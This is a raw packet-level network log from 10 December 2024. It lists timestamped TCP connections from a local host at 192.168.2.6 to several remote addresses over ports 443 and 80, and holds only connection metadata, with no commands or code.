Dec 10, 2024 02:50:07.287888050 CET	49708	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:07.287906885 CET	443	49708	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:07.287938118 CET	49708	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:07.287945032 CET	443	49708	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:07.536173105 CET	49710	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:07.536201000 CET	443	49710	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:07.536299944 CET	49710	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:07.536637068 CET	49710	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:07.536648989 CET	443	49710	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:08.041616917 CET	49673	443	192.168.2.6	173.222.162.64
Dec 10, 2024 02:50:08.041620970 CET	49674	443	192.168.2.6	173.222.162.64
Dec 10, 2024 02:50:08.354140997 CET	49672	443	192.168.2.6	173.222.162.64
Dec 10, 2024 02:50:08.749171972 CET	443	49710	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:08.749298096 CET	49710	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:08.754684925 CET	49710	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:08.754695892 CET	443	49710	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:08.754946947 CET	443	49710	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:08.756206036 CET	49710	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:08.756350994 CET	49710	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:08.756381035 CET	443	49710	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:08.852973938 CET	443	49709	20.198.119.143	192.168.2.6
Dec 10, 2024 02:50:08.853113890 CET	49709	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:50:08.861572027 CET	49709	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:50:08.861608982 CET	443	49709	20.198.119.143	192.168.2.6
Dec 10, 2024 02:50:08.861849070 CET	443	49709	20.198.119.143	192.168.2.6
Dec 10, 2024 02:50:08.899282932 CET	49709	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:50:08.899354935 CET	49709	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:50:08.899365902 CET	443	49709	20.198.119.143	192.168.2.6
Dec 10, 2024 02:50:08.903053045 CET	49709	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:50:08.943347931 CET	443	49709	20.198.119.143	192.168.2.6
Dec 10, 2024 02:50:09.453130960 CET	443	49709	20.198.119.143	192.168.2.6
Dec 10, 2024 02:50:09.453423977 CET	443	49709	20.198.119.143	192.168.2.6
Dec 10, 2024 02:50:09.453494072 CET	49709	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:50:09.454338074 CET	49709	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:50:09.454360962 CET	443	49709	20.198.119.143	192.168.2.6
Dec 10, 2024 02:50:09.454372883 CET	49709	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:50:09.712481022 CET	443	49710	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:09.712579966 CET	443	49710	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:09.712651968 CET	49710	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:09.712747097 CET	49710	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:09.712760925 CET	443	49710	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:09.841984034 CET	49711	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:09.842026949 CET	443	49711	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:09.842129946 CET	49711	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:09.842439890 CET	49711	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:09.842457056 CET	443	49711	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:10.795209885 CET	443	49702	173.222.162.64	192.168.2.6
Dec 10, 2024 02:50:10.795309067 CET	49702	443	192.168.2.6	173.222.162.64
Dec 10, 2024 02:50:11.052130938 CET	443	49711	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:11.052216053 CET	49711	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:11.053913116 CET	49711	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:11.053922892 CET	443	49711	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:11.054177999 CET	443	49711	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:11.055335045 CET	49711	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:11.055440903 CET	49711	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:11.055471897 CET	443	49711	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:11.055532932 CET	49711	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:11.099323988 CET	443	49711	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:11.939171076 CET	443	49711	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:11.939261913 CET	443	49711	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:11.939318895 CET	49711	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:11.939389944 CET	49711	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:11.939404964 CET	443	49711	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:12.118007898 CET	49713	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:12.118045092 CET	443	49713	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:12.118123055 CET	49713	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:12.118458986 CET	49713	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:12.118470907 CET	443	49713	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:13.334486961 CET	443	49713	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:13.334616899 CET	49713	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:13.335764885 CET	49713	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:13.335781097 CET	443	49713	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:13.336009026 CET	443	49713	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:13.337126017 CET	49713	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:13.337285042 CET	49713	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:13.337311029 CET	443	49713	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:13.337423086 CET	49713	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:13.337433100 CET	443	49713	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:14.489089966 CET	443	49713	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:14.489202023 CET	443	49713	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:14.489268064 CET	49713	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:14.489407063 CET	49713	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:14.489424944 CET	443	49713	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:14.835278034 CET	49719	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:14.835320950 CET	443	49719	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:14.835479975 CET	49719	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:14.835686922 CET	49719	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:14.835701942 CET	443	49719	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:16.058079004 CET	443	49719	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:16.058157921 CET	49719	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:16.059642076 CET	49719	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:16.059653044 CET	443	49719	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:16.059880018 CET	443	49719	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:16.061120033 CET	49719	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:16.061173916 CET	49719	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:16.061177969 CET	443	49719	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:16.771760941 CET	443	49719	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:16.771857977 CET	443	49719	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:16.771977901 CET	49719	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:16.772217989 CET	49719	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:16.772232056 CET	443	49719	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:17.353851080 CET	49725	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:17.353899002 CET	443	49725	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:17.354063988 CET	49725	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:17.354466915 CET	49725	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:17.354480028 CET	443	49725	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:18.485910892 CET	49731	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:50:18.485945940 CET	443	49731	20.198.119.143	192.168.2.6
Dec 10, 2024 02:50:18.486020088 CET	49731	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:50:18.486562014 CET	49731	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:50:18.486591101 CET	443	49731	20.198.119.143	192.168.2.6
Dec 10, 2024 02:50:18.563294888 CET	443	49725	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:18.563484907 CET	49725	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:18.564516068 CET	49725	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:18.564523935 CET	443	49725	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:18.564762115 CET	443	49725	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:18.568145037 CET	49725	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:18.568902969 CET	49725	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:18.568934917 CET	443	49725	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:18.568988085 CET	49725	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:18.568995953 CET	443	49725	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:18.569025993 CET	49725	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:18.569050074 CET	443	49725	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:18.569058895 CET	49725	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:18.569119930 CET	49725	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:18.569133043 CET	443	49725	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:18.569149971 CET	443	49725	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:18.569180012 CET	49725	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:18.569188118 CET	443	49725	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:18.569267035 CET	49725	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:18.569292068 CET	443	49725	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:18.569324970 CET	49725	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:18.569330931 CET	443	49725	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:18.569416046 CET	49725	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:18.569436073 CET	443	49725	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:18.569441080 CET	49725	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:18.569447994 CET	443	49725	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:18.569453955 CET	49725	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:18.569458008 CET	443	49725	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:18.569535017 CET	49725	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:18.569557905 CET	443	49725	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:18.569574118 CET	49725	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:18.569597006 CET	49725	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:18.569675922 CET	49725	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:18.569700956 CET	49725	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:18.611329079 CET	443	49725	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:18.611440897 CET	49725	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:18.611473083 CET	49725	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:18.611501932 CET	49725	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:18.635330915 CET	49725	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:18.655335903 CET	443	49725	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:20.710578918 CET	443	49731	20.198.119.143	192.168.2.6
Dec 10, 2024 02:50:20.710681915 CET	49731	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:50:20.712491035 CET	49731	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:50:20.712500095 CET	443	49731	20.198.119.143	192.168.2.6
Dec 10, 2024 02:50:20.712754965 CET	443	49731	20.198.119.143	192.168.2.6
Dec 10, 2024 02:50:20.716078043 CET	49731	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:50:20.716209888 CET	49731	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:50:20.716218948 CET	443	49731	20.198.119.143	192.168.2.6
Dec 10, 2024 02:50:20.716440916 CET	49731	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:50:20.763339043 CET	443	49731	20.198.119.143	192.168.2.6
Dec 10, 2024 02:50:21.276299000 CET	443	49731	20.198.119.143	192.168.2.6
Dec 10, 2024 02:50:21.276446104 CET	443	49731	20.198.119.143	192.168.2.6
Dec 10, 2024 02:50:21.276511908 CET	49731	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:50:21.276643038 CET	49731	443	192.168.2.6	20.198.119.143
Dec 10, 2024 02:50:21.276659012 CET	443	49731	20.198.119.143	192.168.2.6
Dec 10, 2024 02:50:23.655354023 CET	443	49725	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:23.655446053 CET	443	49725	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:23.655495882 CET	49725	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:23.655677080 CET	49725	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:23.655689955 CET	443	49725	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:23.664756060 CET	49746	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:23.664781094 CET	443	49746	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:23.664897919 CET	49746	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:23.665221930 CET	49746	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:23.665236950 CET	443	49746	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:24.878936052 CET	443	49746	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:24.879024029 CET	49746	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:24.881973028 CET	49746	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:24.881983995 CET	443	49746	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:24.882231951 CET	443	49746	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:24.892927885 CET	49746	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:24.892966986 CET	49746	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:24.893011093 CET	443	49746	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:25.899624109 CET	443	49746	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:25.899708033 CET	443	49746	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:25.899874926 CET	49746	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:25.899960041 CET	49746	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:25.899960041 CET	49746	443	192.168.2.6	104.21.16.1
Dec 10, 2024 02:50:25.899975061 CET	443	49746	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:25.899983883 CET	443	49746	104.21.16.1	192.168.2.6
Dec 10, 2024 02:50:25.903480053 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:26.022670031 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:26.026475906 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:26.026607990 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:26.145808935 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.406960011 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.407048941 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.407066107 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.407238007 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:27.407432079 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.407443047 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.407461882 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.407474041 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.407486916 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:27.407505035 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:27.408299923 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.408317089 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.408328056 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.408344030 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:27.408373117 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:27.526586056 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.526633978 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.526684046 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:27.599040031 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.599100113 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.599237919 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:27.603183031 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.603282928 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.603332996 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:27.611602068 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.611738920 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.611783028 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:27.620122910 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.620261908 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.620304108 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:27.628563881 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.628655910 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.628705025 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:27.637044907 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.637175083 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.637219906 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:27.645498991 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.645584106 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.645627975 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:27.653887033 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.653992891 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.654041052 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:27.662372112 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.662448883 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.662492990 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:27.670809031 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.670921087 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.670975924 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:27.679344893 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.679466963 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.679512024 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:27.718467951 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.760282040 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:27.791168928 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.791354895 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.791698933 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:27.793688059 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.793803930 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.793852091 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:27.798818111 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.798914909 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.798955917 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:27.803807974 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.803917885 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.803961992 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:27.808882952 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.809040070 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.809083939 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:27.813935041 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.814028978 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.814070940 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:27.818774939 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.818885088 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.818926096 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:27.823651075 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.823765993 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.823810101 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:27.828495026 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.828613997 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.828656912 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:27.833378077 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.833484888 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.833523035 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:27.838215113 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.838330030 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.838407993 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:27.843082905 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.843280077 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.843323946 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:27.847975016 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.848087072 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.848124027 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:27.852812052 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.852910995 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.852952957 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:27.857712030 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.857801914 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.857846022 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:27.862538099 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.862648964 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.862692118 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:27.867409945 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.867623091 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.867667913 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:27.872253895 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.872348070 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.872391939 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:27.877135992 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.877259970 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.877302885 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:27.882004023 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.882097960 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.882138014 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:27.910936117 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.911066055 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.911209106 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:27.913395882 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.913502932 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.913542986 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:27.918242931 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.963488102 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:27.983191013 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.983268023 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.983442068 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:27.984344959 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.984458923 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.984500885 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:27.988218069 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.988363981 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.988508940 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:27.992099047 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.992208958 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.992250919 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:27.995974064 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.996081114 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.996125937 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:27.999779940 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.999880075 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:27.999922037 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.003405094 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.003525019 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.003570080 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:28.007097960 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:28.007173061 CET	80	49752	185.215.113.16	192.168.2.6
